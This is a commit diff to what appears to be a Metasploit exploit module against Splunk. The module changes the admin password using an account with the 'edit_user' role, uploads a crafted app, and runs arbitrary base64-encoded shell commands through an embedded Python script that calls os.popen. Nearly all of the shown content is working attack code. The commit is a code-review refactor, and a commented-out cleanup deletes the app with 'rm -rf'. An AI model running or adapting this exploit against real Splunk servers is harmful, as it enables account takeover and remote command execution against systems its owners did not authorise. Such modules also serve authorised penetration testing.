Skip to content

Commit

Permalink
Adherence to code review
Browse files Browse the repository at this point in the history
  • Loading branch information
eu committed Sep 15, 2023
1 parent 766766b commit ffb34b0
Showing 1 changed file with 37 additions and 49 deletions.
Original file line number Diff line number Diff line change
Expand Up @@ -82,8 +82,8 @@ def initialize(info = {})
OptString.new('USERNAME', [true, 'The username with "edit_user" role to authenticate as']),
OptString.new('PASSWORD', [true, 'The password for the specified username']),
OptString.new('TARGET_USER', [true, 'The username to change the password for (default: admin)', 'admin']),
OptString.new('TARGET_PASSWORD', [false, 'The new password to set for the admin user (default: random)']),
OptString.new('APP_NAME', [false, 'The name of the app to upload (default: random)'])
OptString.new('TARGET_PASSWORD', [false, 'The new password to set for the admin user (default: random)', Rex::Text.rand_text_alpha(rand(8..12))]),
OptString.new('APP_NAME', [false, 'The name of the app to upload (default: random)', Faker::App.name.downcase.gsub(/[\s|-]/, '_')])
]
)

Expand Down Expand Up @@ -134,15 +134,21 @@ def check
end

def app_name
@app_name ||= (datastore['APP_NAME'] || Faker::App.name).downcase.gsub(/\s/, '_')
datastore['APP_NAME']
end

# The cleanup method is removing the app before the session is closed and it is broking the session.
#
# def cleanup
# return unless session_created?

# super

# Destroy job
# send_request_cgi({
# 'uri' => normalize_uri('/en-US/splunkd/__raw/services/search/jobs/', job_id),
# 'method' => 'DELETE',
# 'cookie' => cookie
# })
# Remove app
# execute_command("bash -c 'rm -rf $SPLUNK_HOME/etc/apps/#{app_name}'")
# send_request_cgi({
# 'uri' => normalize_uri(target_uri.path, '/en-US/debug/refresh'),
Expand All @@ -155,18 +161,17 @@ def app_name
# end

def exploit
@password = datastore['TARGET_PASSWORD'] || Rex::Text.rand_text_alpha(rand(8..12))

splunk_change_password(datastore['TARGET_USER'], @password)
splunk_login(datastore['TARGET_USER'], @password)
splunk_change_password(datastore['TARGET_USER'], datastore['TARGET_PASSWORD'])
splunk_login(datastore['TARGET_USER'], datastore['TARGET_PASSWORD'])

splunk_upload_app(app_name, datastore['SPLUNK_APP_FILE']) unless datastore['DisableUpload']

job_id = execute_command(payload.encoded, { app_name: app_name })
@job_id = execute_command(payload.encoded, { app_name: app_name })
# TODO: distinguish commands that return output and commands that don't
# fail_with(Failure::ConfigError, 'The payload returns output. Consider to set ReturnOutput to true') if payload.encoded.include? 'return output'
if datastore['ReturnOutput']
print_status('Waiting for command output')
print_line(spunk_fetch_job_output(app_name, job_id))
else
print_line(splunk_fetch_job_output)
end
end

Expand All @@ -186,7 +191,7 @@ def execute_command(cmd, opts = {})
'status_buckets' => '300',
'output_mode' => 'json',
'search' => "| #{app_name} #{Rex::Text.encode_base64(cmd)}",
'earliest_time' => '-24h@h',
'earliest_time' => '-1@h',
'latest_time' => 'now',
'ui_dispatch_app' => (opts[:app_name]).to_s
}
Expand All @@ -196,7 +201,7 @@ def execute_command(cmd, opts = {})

body = res.get_json_document

fail_with(Failure::UnexpectedReply, "Unable to execute command. Unexpected reply (HTTP #{res.code})") unless body['data']
fail_with(Failure::UnexpectedReply, 'Unable to get JOB ID of the command') unless body['data']

body['data']
end
Expand Down Expand Up @@ -279,45 +284,33 @@ def splunk_upload_app(app_name, _file_name)

print_status("Uploading file #{app_name}")

boundary = '-' * 29 + rand_text_numeric(30)
data = ''
data = Rex::MIME::Message.new
# fill the hidden fields from the form: state and splunk_form_key
html.at('[id="installform"]').elements.each do |form|
next unless form.attributes['value']

data << "\r\n--#{boundary}\r\n"
data << "Content-Disposition: form-data; name=\"#{form.attributes['name']}\"\r\n\r\n"
data << form.attributes['value'].to_s
data << "\r\n--#{boundary}\r\n"
data.add_part(form.attributes['value'].to_s, nil, nil, "form-data; name=\"#{form.attributes['name']}\"")
end

data << "Content-Disposition: form-data; name=\"force\"\r\n\r\n"
data << '1'
data << "\r\n--#{boundary}\r\n"

data << "Content-Disposition: form-data; name=\"appfile\"; filename=\"#{app_name}.tar.gz\"\r\n"
data << "Content-Type: application/gzip\r\n\r\n"
data << splunk_app
data << "\r\n--#{boundary}--\r\n"
data.add_part('1', nil, nil, 'form-data; name="force"')
data.add_part(splunk_app, 'application/gzip', 'binary', "form-data; name=\"appfile\"; filename=\"#{app_name}.tar.gz\"")
post_data = data.to_s

res = send_request_cgi({
'uri' => '/en-US/manager/appinstall/_upload',
'method' => 'POST',
'cookie' => cookie,
'ctype' => "multipart/form-data; boundary=#{boundary}",
'data' => data
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => post_data
})

if (res&.code == 303 || (res.code == 200 && res.body !~ /There was an error processing the upload/))
print_good("#{app_name} successfully uploaded")
else
fail_with(Failure::Unknown, 'Error uploading App')
end
fail_with(Failure::Unknown, 'Error uploading App') unless (res&.code == 303 || (res.code == 200 && res.body !~ /There was an error processing the upload/))

print_good("#{app_name} successfully uploaded")
end

def splunk_fetch_job_output(app_name, job_id)
def splunk_fetch_job_output
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, "/en-US/splunkd/__raw/servicesNS/#{datastore['TARGET_USER']}/#{app_name}/search/jobs/#{job_id}/results"),
'uri' => normalize_uri(target_uri.path, "/en-US/splunkd/__raw/servicesNS/#{datastore['TARGET_USER']}/#{app_name}/search/jobs/#{@job_id}/results"),
'method' => 'GET',
'keep_cookies' => true,
'cookie' => cookie,
Expand Down Expand Up @@ -365,22 +358,17 @@ def splunk_app

# bin folder
msf_exec_py = <<~EOF
import sys
import base64
import os, sys, base64
import splunk.Intersplunk
header = ["result"]
header = ['result']
results = []
value_bytes = base64.b64decode(sys.argv[1])
try:
value_str = value_bytes.decode('utf-8')
output = sys.modules['os'].popen(value_str).read()
output_base64 = base64.b64encode(output.encode('utf-8')).decode('utf-8')
results.append({"result": output_base64})
try:
output = os.popen(base64.b64decode(sys.argv[1]).decode()).read()
results.append({'result': base64.b64encode(output.encode('utf-8')).decode('utf-8')})
except Exception as e:
error_msg = "Error : " + str(e)
error_msg = f'Error : {str(e)} '
results = splunk.Intersplunk.generateErrorResults(error_msg)
splunk.Intersplunk.outputResults(results, fields=header)
Expand Down

0 comments on commit ffb34b0

Please sign in to comment.